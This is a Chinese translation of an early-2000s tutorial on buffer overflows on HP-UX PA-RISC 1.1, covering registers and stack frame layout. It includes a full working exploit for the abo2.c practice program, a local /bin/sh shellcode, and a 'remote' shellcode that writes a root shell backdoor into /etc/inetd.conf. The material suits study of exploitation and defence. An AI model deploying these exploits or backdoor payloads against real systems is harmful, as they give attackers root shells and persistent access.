HP-UX(PA_RISC1.1)缓冲区溢出 原作:Zhodiac 翻译:SunDay 02/06/2002 简介 这是另外一篇缓冲区溢出的文章!!本文并不想讲述缓冲区溢出开发,也不是想解释汇编代码.本文主要集中讨论三个主题: HP-UX/PA-RISC寄存器和堆栈结构,一个例子abo2.c(在community.core-sdi.org/~gera/InsecureProgramming/) 以及最后有两个这种系统结构的shellcode. 本文函盖了HP-UX/PA-RISC1.1下开始编写缓冲区溢出的基本主题.分成以下几个部分: 1. PA-RISC介绍 1.1. RISC基本原理 1.2. 寄存器 1.3. 叶子和非叶子函数 2. 堆栈结构 3. 高级缓冲区溢出#2 4. 附录 4.1. 本地shellcode 4.2. 远程shellcode 5. 资源 6. 感谢 1. PA-RISC介绍 1.1 RISC基本原理 RISC(精简指令结构计算机)指的是精简指令结构的处理器,具有和CISC(完全指令结构计算机)处理器完成同样任务的能力. RISC处理器具有一些共同的特点: - 内存访问载入,存储设计 - 减少地址数目 - 指令大小总是一样的(有利于提高运行速度) - 较少的指令格式 - 更多地采用的寄存器而不是内存 深入PA-RISC我们发现更多具体的特点: - 立即寻址,基址相对寻址没有偏移 - 在一个指令中算前减量 - 在一个指令中算后增量 - 12种指令格式,它们都是32bits 1.2.寄存器 PA-RISC 1.1具有四种类型的寄存器: - 通用寄存器(32个) - 浮点寄存器(32个) - 空间寄存器(8个) - 控制寄存器(25个) 我们着重于涉及到shellcode编程和缓冲区溢出的"通用寄存器".除开我们将看到%gro(%r0)之外,这些寄存器可以在 任何时候使用,甚至是CPU不在特权状态的时候. 现在来讲一下一些有用的通用寄存器: - %gr0: 总是存储0这个值,如果你写入一些东西进去也会自动抛弃. - %gr1: 一般用作ADDIL指令的目标寄存器.调用共享库函数的时候它存储返回地址,因此在调用函数的时候它也被叫做"共享库存根". - %gr2(%rp): 在采用BL(分支和连接)函数调用的时候用于存储返回地址. - %gr3-%gr21: 普通用途寄存器 - %gr19: 当调用共享库函数的时候作为连接表基本寄存器. - %gr22: 当你打算做系统调用的时候用于存储系统调用数目. - %gr23-gr26: 存储函数参数arg0-arg3 - %gr28,%gr29(%ret0,%ret1): %gr28用于存储一个函数调用或者系统调用的返回值. - %gr30: 这个是存储当前堆栈指针的.它被分配为16Bits. - %gr31: 在PA-RISC 2.0下用于存储BLE指令执行的返回地址. 注意: - 在PA-RISC 1.0下只有16个浮点寄存器,在PA-RISC 1.1和2.0下有32个. - 控制寄存器在CPU处于特权模式下才能访问. - PA-RISC 2.0的寄存器大小是64位. 1.3. 叶子和非叶子函数 在HP-UX下主要有两种类型的函数(类似于SPARC): - 叶子函数: 它们不调用任何下一层函数. 叶子函数,由于它们不调用任何下一层函数决不存储%rp到内存,因为它不会被新函数调用覆盖. 这里有个例子的代码和GDB反汇编的叶子函数: HP9000:~/overflows/leaf$ cat leaf.c int leaf(char *buff) { int a=0; a=1; } int main(int argc, char **argv) { leaf(argv[1]); } HP9000:~/overflows/leaf$ You can see in the gdb disass dump it never saves %rp in stack. (gdb) disass leaf Dump of assembler code for function foo: 0x3280 : copy r3,r1 0x3284 : copy sp,r3 0x3288 : stw,ma r1,40(sr0,sp) 0x328c : stw r26,-24(sr0,r3) 0x3290 : stw r0,8(sr0,r3) 0x3294 : ldi 1,r19 0x3298 : stw r19,8(sr0,r3) 0x329c : ldo 40(r3),sp 0x32a0 : ldw,mb -40(sr0,sp),r3 0x32a4 : bv,n r0(rp) End of assembler dump. (gdb) - 非叶子函数: 它们至少调用一个函数. 非叶子函数,由于他们调用下一层的函数总是存储%rp到堆栈(就如同我们将看到的那样),因为这个函数调用的返回指针会覆盖%rp. 这里有个例子的代码和GDB反汇编的非叶子函数: HP9000:~/overflows/non-leaf$ cat non-leaf.c int non_leaf(char *buff) { int a=0; a=1; sleep(1); } int main(int argc, char **argv) { non_leaf(argv[1]); } HP9000:~/overflows/non-leaf$ You can see in the gdb disass dump it saves %rp in stack at "stw rp,-14(sr0,sp)". (gdb) disass non_leaf Dump of assembler code for function foo: 0x32b0 : stw rp,-14(sr0,sp) 0x32b4 : copy r3,r1 0x32b8 : copy sp,r3 0x32bc : stw,ma r1,80(sr0,sp) 0x32c0 : stw r26,-24(sr0,r3) 0x32c4 : stw r0,8(sr0,r3) 0x32c8 : ldi 1,r19 0x32cc : stw r19,8(sr0,r3) 0x32d0 : ldi 1,r26 0x32d4 : b,l 0x3298 ,rp 0x32d8 : nop 0x32dc : ldw -14(sr0,r3),rp 0x32e0 : ldo 40(r3),sp 0x32e4 : ldw,mb -40(sr0,sp),r3 0x32e8 : bv,n r0(rp) 0x32ec : break 0,0 End of assembler dump. (gdb) 2. 堆栈结构 下面的这个堆栈结构是基于PA-RISC 1.1的HP-UX B10.20系统上GCC编译器的(尽管如此我也会讲点CC编译器的).我还没有看到过这方面的任何资料,这些都是基于GDB和本人的推理能力得来的. PA-RISC没有象SPARC那样在函数里面有"save","restore"来存储寄存器的值的指令.所有的这些都是通过软件和改变编译器来实现的. 我们主要看涉及到缓冲区溢出的非叶子函数.所有的"非叶子"函数都实现一个函数的一个先前准备和最后结束,例如在main()中: 0x3380
: stw rp,-14(sr0,sp) 0x3384 : copy r3,r1 0x3388 : copy sp,r3 0x338c : stw,ma r1,40(sr0,sp) 0x3390 : stw r26,-24(sr0,r3) 0x3394 : stw r25,-28(sr0,r3) ... 0x33e0 : ldw -14(sr0,r3),rp 0x33e4 : ldo 40(r3),sp 0x33e8 : ldw,mb -40(sr0,sp),r3 0x33ec : bv,n r0(rp) 我们将一步步看它怎么进行的: - 0x3380
: stw rp,-14(sr0,sp) 存储返回地址(BL后存储在%rp)到%sp-0x14. Store the return address (in %rp after the BL) in %sp-0x14. C编译器存储在%sp-0x18中. - 0x3384 : copy r3,r1 复制%r3到%r1.这是因为%r3将存储前面函数的%sp,就像我们马上要看到的. - 0x3388 : copy sp,r3 复制%sp到%r3. - 0x338c : stw,ma r1,40(sr0,sp) 存储%r1(后面函数的sp)进堆栈里面,%sp以0x40的增量递增.0x40是因为这个存储空间是给它自己的本地变量加上64字节给 栈标记和后面函数的参数.(注意栈标记是下一个被调用函数的,这点非常作用重要!) - 0x3390 : stw r26,-24(sr0,r3) 拷贝这个函数的第一个参数(%r26)到堆栈(为后面的函数留出空间),在 %r3(后面的%sp)-0x24. - 0x3394 : stw r25,-28(sr0,r3) 拷贝这个函数的第二个参数(%25)到堆栈(为后面的函数留出空间),在%r(后面的%sp)-0x28. 象后面的两个指令机制一样,第一个四个参数将存储到%r26-%23.在超过四个参数的情况下,在跳到这个函数之前他们会被 存储到合适的堆栈中去. 例如: arg4 ---> %r3 - 52 arg5 ---> %r3 - 56 arg6 ---> %r3 - 60 ... 因此这个堆栈看起来就像下面这样: | | --------------------------- %sp \ | | | | | | | | | | | | | | | | | | 给下面函数 | | | 保留的栈标 | | | 记和参数的 | | | 空间 | | | 总是64字节 | | | | | | | | | | | | | | | | | | --------------------------- / | | \ | | | 给函数本 ... | 地变量保 | | | 留的空间 | | | + 4字节 (%r1) | %r1 | / --------------------------- %r3 \ -4 | | | -8 | | | -12 | | | -16 | | | 当前栈标 -20 | %r2 (%rp) gcc | | 记 -24 | %r2 (%rp) cc | | -28 | | | -32 | | / -36 | arg1 = %r26 | \ -40 | arg2 = %r25 | | -44 | arg3 = %r24 | | -48 | arg4 = %r23 | | 给当前函 -52 | arg5 | | 数参数保 -56 | ... | | 留的空间 -60 | | | -64 | | | --------------------------- / | | 有了这些有用的信息,如果一个函数发生了缓冲区溢出,我们溢出了一个本地变量,我就就可以覆盖下一个被调用栈标记. 这里的"下一个函数"是被用作进行拷贝缓冲区的函数,例如:strcpy(),sprintf()等等. 这就是下面的程序不能被溢出的原因,因为没有那种拷贝缓冲区的"下一个函数",因为我们一会再拷贝缓冲区. void vulnerable_func(char *buffer) { char buffer2[128]; int counter=0; while(buffer[counter]!='\0') { buffer2[counter]=buffer[counter]; counter++; } printf("Buffer: %s\n",buffer); } int main(int argc, char **argv) { vulnerable_func(argv[1]); } 在每个函数结尾部分我们取消所有的操作,我们看到: 从堆栈读取%rp,恢复%sp和%r3,执行%rp. 3.高级缓冲区溢出#2 在下面的网页上: http://community.core-sdi.com/~gera/InsecureProgramming/ 有一些有漏洞的程序,包括了很多类型的bug例如:缓冲区溢出,heap溢出,格式化字符串漏洞.......... 我们主要看令很多人头疼的高级缓冲区溢出的第二个题目(Advance Buffer Overflow #2 (abo2.c)). HP9000:~/overflows/sample$ cat abo2.c /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } HP9000:~/overflows/sample$ 很多人说"这个溢出不可能".我会说"这个溢出在x86结构上的机器不可能",但是在其它的象PA-RISC这样的系统上是可以溢出的. 在x86平台上,给一个足够长的缓冲区,你将覆盖main()的返回地址,但是由于这个exit(),我们决不可能控制溢出程序的流向. 更恰当地说"我不能控制溢出;P". 我们不得不找到一个办法在exit()被执行之前控制我们溢出代码地流向.在HP-UX10.20/PA-RISC下,由于它的堆栈 (%r30或者%sp)是从低地址向高地址增长(一些其它结构的系统正好相反,例如Linux x86)以及在本文中讲的堆栈结构,我们不会覆盖main()的返回地址,但我们能覆盖strcpy()的返回地址.这样,一旦缓冲区 被拷贝,并且一旦strcpy返回指针指向它自己的%rp,它就会在exit()被执行前跑到我们的已经控制流向的shellcode上来. 所有的这些是由于在HP-UX B.10.20系统上strcpy()作为一个非叶子函数(它会存储自己的返回指针到堆栈)被执行.Fyodor Yarochkin告诉我strcpy()在HP-UX 11.00是作为叶子函数执行的,因此这个特殊的溢出在这个版本的HP-UX上不能溢出. 我不是说strcpy()溢出在HP-UX 11.00上不可能.看一下下面这节代码,想想看为什么仍然是可能的. HP9000:~/overflows/hp11-strcpy$ cat hp11-strcpy.c void foo(char *buff,char *dest) { strcpy(dest,buff); } int main(int argc, char **argv) { char buffer[128]; foo(argv[1],buffer); } HP9000:~/overflows/hp11-strcpy$ 检验一下上面所说的: HP9000:~/overflows/sample$ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license HP9000:~/overflows/abo2$ cat abo2.c /* abo2.c * * specially crafted to feed your brain by gera@core-sdi.com */ /* This is a tricky example to make you think * * and give you some help on the next one */ int main(int argv,char **argc) { char buf[256]; strcpy(buf,argc[1]); exit(1); } HP9000:~/overflows/abo2$ HP9000:~/overflows/abo2$ cat xploit.c /* * abo2.c xploit by Zhodiac * * http://community.core-sdi.com/~gera/InsecureProgramming/ * * Xploited on HPUX * 9/9/2001 * * Madrid * */ #include //#define NOP 0x3902800b #define NOP 0x08630243 #define BUFFSIZE 256+48+1 #define NUMADDR 10 #define OFFSET -80 char shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe" "/bin/sh\xff"; long get_sp(void) { __asm__("copy %sp,%ret0 \n"); } int main(int argc, char *argv[]) { char buffer[BUFFSIZE]; char *ch_ptr; unsigned long addr,offset=OFFSET; int aux; if (argc==2) offset=atoi(argv[1]); addr=get_sp()+offset; memset(buffer,0,sizeof(buffer)); ch_ptr=(char *)buffer; for (aux=0; aux<(BUFFSIZE-strlen(shellcode)-NUMADDR*4)/4; aux++) { *(ch_ptr++)=(NOP>>24)&255; *(ch_ptr++)=(NOP>>16)&255; *(ch_ptr++)=(NOP>>8)&255; *(ch_ptr++)=NOP&255; } memcpy(ch_ptr,shellcode,strlen(shellcode)); ch_ptr+=strlen(shellcode); for (aux=0; aux>24)&255; *(ch_ptr++)=(addr>>16)&255; *(ch_ptr++)=(addr>>8)&255; *(ch_ptr++)=addr&255; } buffer[BUFFSIZE-1]='\0'; printf("Return Address %#x\n",addr); printf("Buffer Size: %i\n",strlen(buffer)); if (execl("./abo2","abo2",buffer,NULL)==-1) { printf("Error at execl()\n"); exit(-1); } } HP9000:~/overflows/abo2$ HP9000:~/overflows/abo2$ gcc -o xploit xploit.c HP9000:~/overflows/abo2$ gcc -o abo2 abo2.c HP9000:~/overflows/abo2$ ./xploit Return Address 0x7b03a5b0 Buffer Size: 304 $ uname -a HP-UX HP9000 B.10.20 A 9000/712 2013496278 two-user license $ exit HP9000:~/overflows/abo2$ 4.附录 这里有两个HP-UX下的shellcode.第一个是本地的,它只执行一个/bin/sh,但是要注意它的大小,只有47字节. 第二个,在它被开发的时候,据我所知是第一个HP-UX的远程shellcode.有第三个具有所有socket(),bind(), dup2()系统调用的shellcode,但是我掉了.:( 4.1. 本地shellcode 现在有些HP-UX的shellcode(Fyodor的主页上有些,lsd-pl那里也有一些)了,但是在这个开发的时候只有个 ADM的K2的被公布,因为它比13字节还小. /* * HP-UX 47 bytes shellcode * * By Zhodiac * * Madrid, 13/05/2001 * */ char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 */ "\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */ "\x34\x02\x04\xc0" /* ldi 0x260,%r2 */ "\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */ "\x60\x79\x05\x08" /* stb %r25,0x284(%sr0,%r3) */ "\xb4\x7a\x04\xfa" /* addi 0x27D,%r3,%r26 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */ "\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */ "/bin/sh"; 4.2. 远程shellcode /* * HP-UX remote shellcode * * By Zhodiac * * Madrid, 14/05/2001 * */ char shellcode[]= "\xe8\x3f\x1f\xfd" /* bl salto,%r1 */ "\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */ "\x34\x02\x04\xc0" /* ldi 0x260,%r2 */ "\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */ "\x60\x79\x05\x78" /* stb %r25,0x2BC(%sr0,%r3) */ "\x60\x79\x05\x7e" /* stb %r25,0x2BF(%sr0,%r3) */ "\x68\x79\x05\x62" /* stw %r25,0x2AE(%sr0,%r3) */ "\xb4\x7a\x05\x6A" /* addi 0x2B5,%r3,%r26 */ "\x0f\x5a\x12\x81" /* stw %r26,-16(%sr0,%r26) */ "\x94\x44\x04\xd0" /* subi 0x268,%r2,%r4 */ "\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */ "\x0f\x44\x12\x89" /* stw %r4,-12(%sr0,%r26) */ "\x94\x44\x04\xd6" /* subi 0x26C,%r2,%r4 */ "\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */ "\x0f\x44\x12\x91" /* stw %r4,-8(%sr0,%r26) */ "\xb7\x59\x07\xe1" /* addi -16,%r26,%r25 */ "\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */ "\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */ "\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */ "\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */ "AAAA" "BBBB" "CCCC" "ZZZZ" "/bin/sh -c echo \"eklogin stream tcp nowait root /bin/sh sh -i\" >> " "/etc/inetd.conf ; /usr/sbin/inetd -c ; "; 5. 参考文献 更多的内容你可以参考: [1] http://www.freelsd.net/~ndubee/和http://docs.hp.com/上的一些PDF文件 * PA-RISC 1.1 Architecture and Instruction Set Reference Manual * PA-RISC Architecture and Instruction Set Reference Manual * http://www.devresource.hp.com/partner/rad.10.20.pdf * http://www.devresource.hp.com/partner/rad.11.0.32.pdf [2] PA-RISC 2.0 Architecture Gerry Kane ISBN 0-13-182734-0 [3] Buffer overflow on non-intel platforms (BlackHat 2001 Asia) Fyodor Yarochkin. http://www.notlsd.net/bof/index.html [4] lsd-pl HP-UX shellcodes (真是一个好人,希望你们能谈得来!) http://lsd-pl.net [5] You can mail me with any doubt you have :) Zhodiac 6. 感 谢 - [CrAsH], 没有她的帮助这篇文章就不会存在了. :*** - DarkCode 很久很久以前就一块讨论SPARC和PA-RISC结构 :) - Fyodor Yarochkin 很少但是很有意义,一块聊. 回顾本文由衷地说正thx. - El Nahual 在现实生活和网络生活中都非常搞笑的家伙:P. - 0xdeadcafe 邮件列表上到讨论的主题. 译者:感谢Zhodiac为我们提供这么好的文章. Madrid 11/10/2001 SunDay 02/06/2002